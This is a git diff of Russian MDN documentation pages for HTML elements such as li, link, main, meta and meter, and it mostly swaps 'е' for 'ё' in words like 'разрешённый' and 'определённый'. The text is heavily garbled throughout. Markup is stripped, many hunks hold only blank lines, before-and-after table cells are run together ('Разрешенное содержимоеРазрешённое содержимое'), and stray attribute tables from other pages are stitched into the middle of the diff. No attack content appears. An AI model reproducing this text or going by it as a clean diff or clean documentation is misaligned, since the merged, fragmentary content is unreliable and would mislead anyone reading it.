              {{HTMLRef}}
              
 
-
              HTML-элемент <li> используется для создания элементов списка. Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счетчика слева, например числа или буквы.
              
+
              HTML-элемент <li> используется для создания элементов списка. Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счётчика слева, например числа или буквы.
              {{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}
              
 
@@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/li
 
 
              
  
              {{htmlattrdef("value")}}
              
- 
              Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешенное значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут value не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}).
+ 
              Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешённое значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут value не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}).
  
              Примечание: Этот атрибут был убран в HTML4, но заново добавлен в HTML5.
              
 
  
              
@@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/li
 
 
              Поддержка браузерами
              
 
-
+
 
 
              {{Compat("html.elements.li")}}
              
 
diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html
index 2ae2f1f1df..82be65b592 100644
--- a/files/ru/web/html/element/link/index.html
+++ b/files/ru/web/html/element/link/index.html
@@ -23,7 +23,7 @@ original_slug: Web/HTML/Element/ссылка
 
 
              В этом простом примере указывается путь к таблице стилей внутри атрибута href и атрибут rel со значением stylesheet. rel означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <link>  — значение сообщает как указанный элемент связан с  содержащим его документом. Как вы увидите в нашем справочнике типы ссылок, есть много различных видов отношений.
              
 
-
              Существует ряд других распространенных типов, с которыми вы столкнетесь. Например, ссылка на сайт иконок:
              
+
              Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:
              
 
 
              <link rel="icon" href="favicon.ico">
              
 
@@ -44,7 +44,7 @@ original_slug: Web/HTML/Element/ссылка
 
              <link rel="preload" href="myFont.woff2" as="font"
       type="font/woff2" crossorigin="anonymous">
              
 
-
              Значение rel - preload указывает, что браузер должен предварительно загрузить этот ресурс (смотрите Предварительная загрузка контента при помощи rel="preload" для более подробной информации), атрибут as указывает на определенный класс загружаемого контента. Атрибут crossorigin указывает должен ли ресурс загружаться с помощью запроса  {{Glossary("CORS")}}.
              
+
              Значение rel - preload указывает, что браузер должен предварительно загрузить этот ресурс (смотрите Предварительная загрузка контента при помощи rel="preload" для более подробной информации), атрибут as указывает на определённый класс загружаемого контента. Атрибут crossorigin указывает должен ли ресурс загружаться с помощью запроса  {{Glossary("CORS")}}.
              
 
 
              Другие замечания по использованию:
              
 
@@ -67,9 +67,9 @@ original_slug: Web/HTML/Element/ссылка
  
              Этот перечисляемый атрибут указывает, должен ли {{Glossary("CORS")}} использоваться при загрузки ресурса. CORS-поддерживаемые изображения могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не искажая их. Допустимы значения:
  
              
   
              anonymous
              
-  
              Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учетные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учетные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}),  изображение будет искажено, а его использование ограничено.
              
+  
              Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учётные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учётные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}),  изображение будет искажено, а его использование ограничено.
              
   
              use-credentials
              
-  
              Cross-origin запрос (т.е. с HTTP-заголовком Origin) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учетные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажен, а его использование ограничено.
              
+  
              Cross-origin запрос (т.е. с HTTP-заголовком Origin) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учётные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажён, а его использование ограничено.
              
  
              
  Если атрибут отсутствует, ресурс загружается без запроса {{Glossary("CORS")}} (т.е. без отправки HTTP-заголовка Origin), предотвращая его незагрязненное использование. В случае невалидности, он обрабатывается как при использовании ключевого слова anonymous. Для получения дополнительной информации смотрите  CORS settings attributes.
              
  
              {{HTMLAttrDef("href")}}
              
@@ -97,8 +97,8 @@ original_slug: Web/HTML/Element/ссылка
  
              Примечания:
              
 
  
                
-  
              • В HTML 4, это может быть только простой, разделенный пробелами, список литералов, описывающих медиа, т.е.  media типы и группы, которые определены и допустимы в качестве значений для этого атрибута, такие как print, screen, aural, braille. HTML5 распространил это на любые медиавыражения, которые являются расширенным набором допустимых значений HTML 4.
                • 
-  
              • Браузеры, не поддерживающие CSS3 Media Queries, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определенным в HTML 4.
                • 
+  
              • В HTML 4, это может быть только простой, разделённый пробелами, список литералов, описывающих медиа, т.е.  media типы и группы, которые определены и допустимы в качестве значений для этого атрибута, такие как print, screen, aural, braille. HTML5 распространил это на любые медиавыражения, которые являются расширенным набором допустимых значений HTML 4.
                • 
+  
              • Браузеры, не поддерживающие CSS3 Media Queries, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определённым в HTML 4.
                • 
  
              
  
  
@@ -109,11 +109,11 @@ original_slug: Web/HTML/Element/ссылка
   
            • no-referrer-when-downgrade означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен при переходе к источнику без TLS (HTTPS). Это поведение пользовательского агента по умолчанию, если не указано иное.
              • 
   
            • origin означает, что реферером будет источник, который соответствует схеме, хосту и порту.
              • 
   
            • origin-when-cross-origin означает, что навигация к другим источникам будет ограничена схемой, хостом, портом, в то время как навигация по одному и тому же источнику будет включать путь реферер .
              • 
-  
            • unsafe-url означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищенных ресурсов в незащищенные источники.
              • 
+  
            • unsafe-url означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищённых ресурсов в незащищённые источники.
              • 
  
  
  
              {{HTMLAttrDef("rel")}}
              
- 
              Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделенным пробелами списком значений типов ссылки.
              
+ 
              Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделённым пробелами списком значений типов ссылки.
              
  
              {{HTMLAttrDef("sizes")}}
              
  
              Этот атрибут определяет размеры иконки для визуальных медиа, содержащихся в ресурсе. Он должен быть представлен только, если {{HTMLAttrxRef("rel", "link")}} содержит значение icon или нестандартный тип, например apple-touch-icon Apple. Может иметь следующие значения:
  
                
@@ -152,7 +152,7 @@ original_slug: Web/HTML/Element/ссылка
 
 
                
  
                {{HTMLAttrDef("charset")}} {{Obsolete_Inline}}
                
- 
                Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделенный пробелами и/или запятыми, как определено в  {{rfc(2045)}}. Значение по умолчанию iso-8859-1.
+ 
                Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделённый пробелами и/или запятыми, как определено в  {{rfc(2045)}}. Значение по умолчанию iso-8859-1.
  
                Примечание по использованию: Для получения эффекта использования данного устаревшего атрибута, используйте HTTP-заголовок {{HTTPHeader("Content-Type")}} на связываемый ресурс.
                
  
                
  
                {{HTMLAttrDef("rev")}} {{Obsolete_Inline}}
                
@@ -160,7 +160,7 @@ original_slug: Web/HTML/Element/ссылка
  
                Значение этого атрибута показывает отношение текущего документа к связываемому документу, как определено атрибутом {{HTMLAttrxRef("href", "link")}}. Этот атрибут, таким образом, определяет обратную связь по сравнению со значением атрибута rel. Значения типов ссылки для атрибута аналогичны возможным значениям для   {{HTMLAttrxRef("rel", "link")}}.
                
 
  
                
- 
                Примечание: Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что rev не считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределенность, полагаться на rev не стоит.
                
+ 
                Примечание: Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что rev не считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределённость, полагаться на rev не стоит.
                
  
                
  
              
  
              
@@ -187,7 +187,7 @@ original_slug: Web/HTML/Element/ссылка
 
 
              Вы можете указать альтернативные таблицы стилей.
              
 
-
              Пользователь может выбрать, какую таблицу стилей использовать, выбрав ее в меню  Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.
              
+
              Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню  Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.
              
 
 
              <link href="default.css" rel="stylesheet" title="Default Style">
 <link href="fancy.css" rel="alternate stylesheet" title="Fancy">
@@ -255,7 +255,7 @@ myStylesheet.onerror = function() {
    
              
-   
+   
@@ -263,11 +263,11 @@ myStylesheet.onerror = function() {
    
-   
+   
-   
+   
diff --git a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html
index e3b64bf33d..52754d8c16 100644
--- a/files/ru/web/html/element/main/index.html
+++ b/files/ru/web/html/element/main/index.html
@@ -13,7 +13,7 @@ translation_of: Web/HTML/Element/main
 ---
 
              {{HTMLRef}}
              
 
-
              HTML-элемент <main> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или ее развивает.
              
+
              HTML-элемент <main> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или её развивает.
              {{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}
              
 
@@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/main
    
-   
+   
@@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/main
    
-   
+   
-   
+   
@@ -70,14 +70,14 @@ translation_of: Web/HTML/Element/main
 
   <article>
     <h2>Сорт "Ред Делишес"</h2>
-    <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединенных Штатах.</p>
+    <p>Эти ярко-красные яблоки являются одними из самых популярных в Соединённых Штатах.</p>
     <p>... </p>
     <p>... </p>
   </article>
 
   <article>
     <h2>Сорт "Гренни Смит";/h2>
-    <p>Эти сочные, зеленые яблоки являются одними из самых популярных в мире.</p>
+    <p>Эти сочные, зелёные яблоки являются одними из самых популярных в мире.</p>
     <p>... </p>
     <p>... </p>
   </article>
@@ -93,7 +93,7 @@ translation_of: Web/HTML/Element/main
 
 
              Ориентир
              
 
-
              Элемент <main> ведет себя как роль-ориентир main. Ориентиры могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <main> вместо объявления role="main", если не нужна поддержка старых браузеров.
              
+
              Элемент <main> ведёт себя как роль-ориентир main. Ориентиры могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <main> вместо объявления role="main", если не нужна поддержка старых браузеров.
              Пропуск навигации
              
 
diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html
index 751a526d64..502f0414ba 100644
--- a/files/ru/web/html/element/map/index.html
+++ b/files/ru/web/html/element/map/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/map
    
-   
+   
@@ -28,11 +28,11 @@ translation_of: Web/HTML/Element/map
    
-   
+   
-   
+   
@@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/map
 
 
              
  
              {{htmlattrdef("name")}}
              
- 
              Атрибут name дает карте имя, чтобы на нее можно было ссылаться. Атрибут должен быть определен и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.
              
+ 
              Атрибут name даёт карте имя, чтобы на неё можно было ссылаться. Атрибут должен быть определён и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.
              
 
              Пример
              
diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html
index 4673a4eec8..e281d28bb6 100644
--- a/files/ru/web/html/element/mark/index.html
+++ b/files/ru/web/html/element/mark/index.html
@@ -3,7 +3,7 @@ title: 
 slug: Web/HTML/Element/mark
 translation_of: Web/HTML/Element/mark
 ---
-
              HTML элемент <mark> представляет текст, выделенный в справочных целях из-за своей актуальности в определенном контексте. Например, он может быть использован на странице с результатом поиска, в которой выделяется каждый экземпляр искомого слова.
              
+
              HTML элемент <mark> представляет текст, выделенный в справочных целях из-за своей актуальности в определённом контексте. Например, он может быть использован на странице с результатом поиска, в которой выделяется каждый экземпляр искомого слова.
              
 
 
              
  
   
              Разрешенное содержимоеРазрешённое содержимое
    Нету, это пустой элемент.
   
              
   
              Обязательно должен быть открывающийся тег, и обязательно отсутствует закрывающий.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, которому доступен фразообразующий контент (phrasing content).
   
              
   
              
  
  
  
  
  
  
  
  
  
  
 
 
 
 
              
   
              
    {{anch("list")}}id элемента <datalist>, который содержит предопределенные значение (не обязательно)id элемента <datalist>, который содержит предопределённые значение (не обязательно)
   
              
   
              
    {{anch("max")}}
 
 
 
 
 
 {{no_tag_omission}}
   
              
   
              Разрешенные родителиРазрешённые родители
    Любой элемент, который принимает содержимое фраз.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    Любые
   
              
   
              Общий поток, текстовый контент, интерактивный контент, элемент формы, ощутимый контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Текстовый контент, но без вложенных элементов label. Недопустимы другие оборачиваемые в label элементы помимо целевого.
   
              
   
              {{no_tag_omission}}
   
              
   
              Разрешенные предкиРазрешённые предки
    Любой элемент, разрешающий текстовый контент.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    Отсутствуют
   
              
   
              
  
  
 
 
 Контент метаданных. Если есть itemprop: потоковый контент и фразовый контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Нет, это {{Glossary("empty element")}}.
   
              
   
              Так как это пустой элемент, присутствовать должен начальный тэг, конечный - отсутствует.
   
              
   
              Разрешенные родителиРазрешённые родители
    Любой элемент, принимающий элементы метаданных. Если есть itemprop: любой элемент, принимающий фразовый контент.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    Нет
   
              
   
              
 
 Основной поток, явный контент.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Основной поток.
   
              
   
              Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Те, в которых разрешается контент основного потока в качестве содержимого, но только если это иерархически корректный main элемент.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    Роль main применяется к <main> по умолчанию, и роль presentation также разрешена.
   
              
   
              
 
 Потоковый контент, фразовый контент, явный контент.
   
              
   
              Разрешенный контентРазрешённый контент
    Любой прозрачный элемент.
   
              
   
              {{no_tag_omission}}
   
              
   
              Разрешенные родителиРазрешённые родители
    Любые элементы, которые принимают фразовый контент.
   
              
   
              Разрешенные ARIA ролиРазрешённые ARIA роли
    Нет
   
              
   
              
 
 
              
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/mark
    
-   
+   
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/mark
    
-   
+   
-   
+   
diff --git a/files/ru/web/html/element/marquee/index.html b/files/ru/web/html/element/marquee/index.html
index 8caafd13f3..3faaccd160 100644
--- a/files/ru/web/html/element/marquee/index.html
+++ b/files/ru/web/html/element/marquee/index.html
@@ -18,23 +18,23 @@ translation_of: Web/HTML/Element/marquee
  
              {{htmlattrdef("behavior")}}
              Описывает поведение прокрутки. Допустимые значения: scroll, slide и alternate. Если значение не указано, то используется scroll.
              {{htmlattrdef("bgcolor")}}
              
- 
              Задает цвет фона (можно использовать имя цвета или шестнадцатеричное значение).
              
+ 
              Задаёт цвет фона (можно использовать имя цвета или шестнадцатеричное значение).
              {{htmlattrdef("direction")}}
              
- 
              Задает направление прокрутки. Допустимые значения: left, right, up и down. Если значение не указано, то используется left.
              
+ 
              Задаёт направление прокрутки. Допустимые значения: left, right, up и down. Если значение не указано, то используется left.
              {{htmlattrdef("height")}}
              Задаёт высоту в пикселях или процентах.
              {{htmlattrdef("hspace")}}
              
- 
              Задает поле (margin) слева.
              
+ 
              Задаёт поле (margin) слева.
              {{htmlattrdef("loop")}}
              Задаёт количество прокруток. Если значение не указано, то используется -1, что означает бесконечную прокрутку
              {{htmlattrdef("scrollamount")}}
              
- 
              Задает сдвиг на каждом шаге в пикселях. По умолчанию 6.
              
+ 
              Задаёт сдвиг на каждом шаге в пикселях. По умолчанию 6.
              {{htmlattrdef("scrolldelay")}}
              
- 
              Задает интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут truespeed.
              
+ 
              Задаёт интервал между каждым шагом в миллисекундах. По умолчанию 85. Обратите внимание, что значения меньше 60 будут проигнорированы и будет использовано 60, если не присутствует атрибут truespeed.
              {{htmlattrdef("truespeed")}}
              По умолчанию значения меньше 60 в scrolldelay игнорируются. Однако, если присутствует truespeed, то они не игнорируются
              {{htmlattrdef("vspace")}}
              
- 
              Задает вертикальный отступ (margin) в пикселях или процентах.
              
+ 
              Задаёт вертикальный отступ (margin) в пикселях или процентах.
              {{htmlattrdef("width")}}
              Задаёт ширину в пикселях или процентах.
              
diff --git a/files/ru/web/html/element/menu/index.html b/files/ru/web/html/element/menu/index.html
index 1651378eda..7d0b236c41 100644
--- a/files/ru/web/html/element/menu/index.html
+++ b/files/ru/web/html/element/menu/index.html
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/menu
    
-   
+   
-   
+   
@@ -36,7 +36,7 @@ translation_of: Web/HTML/Element/menu
    
-   
+   
diff --git a/files/ru/web/html/element/meta/index.html b/files/ru/web/html/element/meta/index.html
index 4ce26b0214..86f9522953 100644
--- a/files/ru/web/html/element/meta/index.html
+++ b/files/ru/web/html/element/meta/index.html
@@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/meta
    
-   
+   
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/meta
    
-   
+   
-   
+   
@@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/meta
 
 
              
  
              {{htmlattrdef("charset")}}
              
- 
              Этот атрибут задает кодировку символов, используемую на странице. Он должен содержать стандартное имя IANA MIME для кодировки символов. Хотя стандарт не требует определенной кодировки, он рекомендует:
+ 
              Этот атрибут задаёт кодировку символов, используемую на странице. Он должен содержать стандартное имя IANA MIME для кодировки символов. Хотя стандарт не требует определённой кодировки, он рекомендует:
  
                
   
              • Авторам рекомендуется использовать {{glossary("UTF-8")}}.
                • 
   
              • Не следует использовать ASCII-несовместимые кодировки, чтобы избежать угроз безопасности: браузеры, не поддерживающие их, могут интерпретировать вредоносный контент как HTML. Это относится к семейству кодировок JIS_C6226-1983, JIS_X0212-1990, HZ-GB-2312, JOHAB и EBCDIC.
                • 
@@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/meta
   
              • Этот <meta> элемент - часть алгоритма, определяющего набор символов (algorithm to determine the character set) страницы, который браузер поддерживает. Заголовок {{HTTPHeader("Content-Type")}} и любые {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элементы переопределяют данный элемент.
                • 
   
              • Настоятельно рекомендуется определить кодировку символов. Если для страницы не определён набор символов, то некоторые cross-scripting технологии могут повредить страницу, например такие как UTF-7 fallback cross-scripting technique. Постоянная установка этого элемента будет защищать Вас от этого риска.
                • 
   
              • Этот {{HTMLElement("meta")}} элемент это синоним для pre-HTML5 <meta http-equiv="Content-Type" content="text/html; charset=IANAcharset"> где IANAcharset соответствует значению эквивалентного {{htmlattrxref("charset", "meta")}} атрибута.
                
-   Этот синтаксис по-прежнему разрешен, хотя и устарел и больше не рекомендуется.
                • 
+   Этот синтаксис по-прежнему разрешён, хотя и устарел и больше не рекомендуется.
  
              
  
  
              
@@ -129,8 +129,8 @@ translation_of: Web/HTML/Element/meta
   
            • автор определяет в свободном формате имя автора документа;
              • 
   
            • описание, содержащее краткое и точное резюме содержания страницы. В некоторых браузерах, среди которых Firefox и Opera, этот мета используется как описание страницы по умолчанию в закладке;
              • 
   
            • генератор, содержащий в свободном формате идентификатор программного обеспечения, создавшего страницу;;
              • 
-  
            • Ключевые слова, представленные строками, разделенными запятыми, связанные с содержанием страницы
              • 
-  
            • referrer {{experimental_inline}} контролирует содержимое HTTP. Referer HTTP - заголовок, прикрепленный к любому запросу, отправленному из этого документа:
+  
            • Ключевые слова, представленные строками, разделёнными запятыми, связанные с содержанием страницы
              • 
+  
            • referrer {{experimental_inline}} контролирует содержимое HTTP. Referer HTTP - заголовок, прикреплённый к любому запросу, отправленному из этого документа:
    
              • 
  
              Содержимое потока, содержимое фраз, ощутимое содержимое.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Содержимое фраз.
   
              
   
              {{no_tag_omission}}
   
              
   
              Разрешенные родителиРазрешённые родители
    Любой элемент, который принимает содержимое фраз.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Любые
   
              
   
              
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
 
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    
     
              If the element is in the list menu state: flow content, or alternatively, zero or more occurrences of {{HTMLElement("li")}}, {{HTMLElement("script")}}, and {{HTMLElement("template")}}. (list menu is the default state, unless the parent element is a {{HTMLElement("menu")}} in the context menu state.)
              
 
@@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/menu
                  		{{No_Tag_Omission}}
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    Любой элемент, который поддерживает основной поток.
   
              
   
              list
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    {{ARIARole("directory")}}, {{ARIARole("group")}}, listbox, {{ARIARole("menu")}}, {{ARIARole("menubar")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("radiogroup")}}, {{ARIARole("tablist")}}, {{ARIARole("toolbar")}} или {{ARIARole("tree")}}
   
              
   
              Мета данные. Если задан {{htmlattrxref("itemprop")}} атрибут: flow content, phrasing content.
   
              
   
              Разрешенное содержимоеРазрешённое содержимое
    Отсутствует - это {{Glossary("empty element","пустой элемент")}}.
   
              
   
              Так как это пустой элемент, то открывающий тег должен присутствовать, а закрывающий - отсутствовать.
   
              
   
              Разрешенные родительские элементыРазрешённые родительские элементы
    <meta charset>, <meta http-equiv>: {{HTMLElement("head")}} элемент. Если {{htmlattrxref("http-equiv", "meta")}} это не заявленная декларация, то может быть внутри элемента {{HTMLElement("noscript")}} или {{HTMLElement("head")}}.
   
              
   
              Разрешенные роли ARIAРазрешённые роли ARIA
    Отсутствуют
   
              
   
              
@@ -148,11 +148,11 @@ translation_of: Web/HTML/Element/meta
      
-      
+      
-      
+      
              
     Значения содержимого атрибута <meta name="referrer">
     
      
              
       origin-when-crossoriginОтправляет полный URL (удаленный из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.Отправляет полный URL (удалённый из параметров) при выполнении запроса с тем же источником, или только оригинал документа в других случаях.
      
              
      
              
       unsafe-URLОтправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрестного происхождения.Отправляет полный URL (удалённый из параметров), при выполнении запроса того же или перекрёстного происхождения.
      
              
                   
    
              
@@ -167,10 +167,10 @@ translation_of: Web/HTML/Element/meta
            -

            Атрибут также может иметь значение, взятое из существующего листа определений  WHATWG Wiki MetaExtensions page. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имен:

            +

            Атрибут также может иметь значение, взятое из существующего листа определений  WHATWG Wiki MetaExtensions page. Хотя ни один из них официально не был принят, в число предложений входят несколько часто используемых имён:

              -
            • creator, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имен больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;
              • +
            • creator, определят в свободном формате имя создателя документа. Это также может быть имя института. Если же имён больше чем одно, то несколько {{HTMLElement("meta")}} элементов должны быть использованы;
            • googlebot, синоним robots, но только следует за Googlebot, сканирует индексы для Google;
            • publisher, определяет в свободном формате имя того, кто опубликовал документ. Это также может быть имя института;
            • robots, определяет поведение, поисковых роботов на странице. Список этих значений представлен ниже: @@ -242,7 +242,7 @@ translation_of: Web/HTML/Element/meta
              Замечания:
                -
              • Только кооперативные роботы будут следовать правилам, определенным именем роботов. 
                • +
              • Только кооперативные роботы будут следовать правилам, определённым именем роботов. 
              • Роботу необходимо получить доступ к странице, чтобы считать мета значение. Если Вы хотите скрыть от них информацию, то используйте  robots.txt файл.
              • Если вы хотите удалить страницу индекса, изменение мета в noindex будет работать, но только тогда, когда робот снова посетит страницу. Убедитесь, что файл robots.txt не предотвращает такие посещения. Некоторые поисковые системы имеют инструменты, позволяющие быстро удалить какую-либо страницу.
              • Некоторые возможные значения взаимно исключают друг друга, такие как использование индекса и noindex или follow и nofollow одновременно. В этих случаях поведение робота не определено и может варьироваться от одного к другому. Поэтому избегайте этих случаев.
                • @@ -256,7 +256,7 @@ translation_of: Web/HTML/Element/meta

                Наконец несколько общих терминов:

                  -
                • viewport, который дает подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. +
                • viewport, который даёт подсказки о размере изначального размера {{glossary("viewport")}}. Эта прагма используется только на некоторых мобильных устройствах. diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html index 1b7d72d8ad..8f4bb987de 100644 --- a/files/ru/web/html/element/meter/index.html +++ b/files/ru/web/html/element/meter/index.html @@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/meter - + @@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/meter - + - + @@ -53,15 +53,15 @@ translation_of: Web/HTML/Element/meter
                  Примечание по использованию: Если атрибут value не находится в диапазоне от  0 до 1 (включительно), то атрибуты min и max должны определять диапазон, в котором будет находиться значение  value.
                  {{htmlattrdef("min")}}
                  -
                  Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), если указан. Если не определен, то минимальное значение равно 0.
                  +
                  Нижняя числовая граница измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), если указан. Если не определён, то минимальное значение равно 0.
                  {{htmlattrdef("max")}}
                  -
                  Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), если указан. Если не определен, то максимальное значение равно 1.
                  +
                  Верхняя числовая граница измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), если указан. Если не определён, то максимальное значение равно 1.
                  {{htmlattrdef("low")}}
                  Верхняя числовая граница нижнего предела измеряемого диапазона. Он должен быть больше, чем минимальное значение (min атрибут), а также, меньше, чем значение high и максимальное значение(high атрибут и max атрибут, соответственно), если они указаны. Если не указан или меньше минимального значения, то значение low равно минимальному значению.
                  {{htmlattrdef("high")}}
                  Нижняя числовая граница верхнего предела измеряемого диапазона. Он должен быть меньше, чем максимальное значение (max атрибут), а также, больше, чем значение low и минимальное значение (low атрибут и min атрибут, соответственно), если они указаны. Если не указан или больше максимального значения, то значение high равно максимальному значению.
                  {{htmlattrdef("optimum")}}
                  -
                  Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определен атрибутами min и max). При использовании с атрибутами low и high, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами min и low, нижний диапазон является предпочтительным.
                  +
                  Этот атрибут указывает оптимальное числовое значение. Он должен находиться в пределах диапазона (который определён атрибутами min и max). При использовании с атрибутами low и high, он указывает какая часть диапазона является предпочтительной. Например, если он находится между атрибутами min и low, нижний диапазон является предпочтительным.
                  {{htmlattrdef("form")}}
                  Этот атрибут связывает элемент с элементом form, частью которого является элемент meter. Например, meter может отображать диапазон, соответствующий элементу input с type number. Этот атрибут используется только в случае, если элемент  meter используется как элемент, связанный с формой; даже в этом случае он может быть опущен, если элемент является потомком элемента form.
